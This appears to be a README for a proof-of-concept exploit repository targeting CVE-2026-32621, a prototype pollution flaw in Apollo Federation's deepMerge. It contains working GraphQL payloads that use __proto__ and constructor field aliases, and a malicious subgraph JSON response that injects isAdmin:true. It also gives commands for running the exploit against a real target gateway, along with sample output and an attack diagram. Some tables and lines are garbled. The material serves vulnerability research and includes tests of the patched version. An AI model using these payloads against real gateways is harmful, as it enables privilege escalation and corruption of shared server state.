
استغلال PoC للثغرة CVE-2026-32621 يوضح تلوث النموذج الأولي deepMerge في Apollo Federation عبر أسماء مستعارة مُهندَسة في GraphQL، مع اختبارات للإصدار المُصحَّح.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-32621 |
| CVSS | 9.9 حرجة |
| CWE | CWE-1321 (تلوث النموذج الأولي) |
| المتأثر | Apollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2 |
| الإصلاح | 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2 |
| GHSA | GHSA-pfjj-6f4p-rvmh |
دالة deepMerge في Apollo Federation (المستخدمة في @apollo/query-planner و @apollo/gateway لدمج استجابات الرسوم البيانية الفرعية أثناء تنفيذ خطة الاستعلام) تفشل في تنظيف المفاتيح قبل الوصول إلى target[key].
عندما يحتوي كائن المصدر على __proto__ كخاصية خاصة (والتي ينشئها JSON.parse)، فإن Object.keys() يعيدها، ويتم تحليل target["__proto__"] إلى Object.prototype عبر سلسلة النموذج الأولي. ثم تقوم عملية الدمج بكتابة الخصائص مباشرة على Object.prototype، مما يلوث سلسلة النموذج الأولي العامة لعملية Node.js بأكملها.
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]); // target["__proto__"] = Object.prototype!
} else {
target[key] = source[key]; // Direct assignment to prototype
}
}
// PATCHED (post-patch)
for (const key of Object.keys(source)) {
defineOwn(target, key); // <-- Fix: shadows prototype property with own property
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]);
}
}
يرسل العميل استعلام GraphQL بأسماء مستعارة للحقول مثل __proto__ أو constructor أو prototype. عندما تعالج البوابة الاستجابة، يستخدم deepMerge هذه الأسماء المستعارة كمفاتيح، مما يلوث Object.prototype.
query {
__proto__: products {
polluted: id
}
}
يعيد رسم بياني فرعي مخترق JSON يحتوي على مفاتيح __proto__. عندما تدمج البوابة الاستجابة عبر deepMerge، يتم تلويث Object.prototype.
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}
query {
constructor: products {
prototype: id
}
}
isAdmin و role و permissionstoString و valueOf بدوال فارغة/معطوبة
المستند المحتوى USAGE.md دليل استخدام مفصل مع تعليمات خطوة بخطوة DIAGRAM.md مخططات هيكلية وتصور لمسار الهجوم
| الملف | الغرض |
|------|---------| |
exploit.js| الاستغلال الرئيسي مع 5 متجهات هجوم + عرض محلي | |test_exploit.js| اختبارات وحدة (15 اختبارًا للتحقق من التلوث والإصلاح) | |e2e_test.js| تحقق شامل (10 اختبارات: بوابة + استغلال + تحقق) | |setup_vulnerable.js| محاكي بوابة ضعيفة للاختبار |
# Run the local deepMerge vulnerability demonstration
node exploit.js
يوضح هذا مسار الشيفرة الضعيف الدقيق دون الحاجة إلى بوابة قيد التشغيل.
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000
# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql
# Unit tests (15 tests)
node test_exploit.js
# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql
======================================================================
CVE-2026-32621 - Apollo Federation Prototype Pollution
CVSS 9.9 Critical | CWE-1321
Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================
======================================================================
Direct deepMerge Vulnerability Demonstration
(Reproduces the exact vulnerable code path)
======================================================================
[Test 1] __proto__ pollution via JSON.parse source
Source keys: __proto__
source.__proto__ is own property: true
VULNERABLE: Object.prototype.polluted_test1 = true
PATCHED: Object.prototype.polluted_test1 = undefined
[Test 2] constructor.prototype pollution
VULNERABLE: Object.prototype.polluted_test2 = true
PATCHED: Object.prototype.polluted_test2 = undefined
--------------------------------------------------
RESULTS SUMMARY
--------------------------------------------------
[VULNERABLE] __proto__ via JSON.parse
[SAFE] __proto__ via JSON.parse (patched)
[VULNERABLE] constructor.prototype
[SAFE] constructor.prototype (patched)
Client Apollo Gateway Subgraph
│ │ │
│ GraphQL query │ │
│ with __proto__ │ │
│ field alias │ │
│ ────────────────► │ Forward query │
│ │ ──────────────────────► │
│ │ │
│ │ JSON response with │
│ │ __proto__ as own prop │
│ │ ◄────────────────────── │
│ │ │
│ │ deepMerge() called │
│ │ target["__proto__"] │
│ │ → Object.prototype │
│ │ ⚠ POLLUTED! │
│ │ │
│ 200 OK │ │
│ polluted: true │ │
│ ◄──────────────── │ │
│ │ │
│ ALL subsequent requests inherit polluted │
│ properties (isAdmin, polluted, etc.) │
انظر DIAGRAM.md للحصول على المخططات المعمارية الكاملة.
__proto__ أو constructor أو prototype في الأسماء المستعارة لحقولها وأسماء متغيراتهاMIT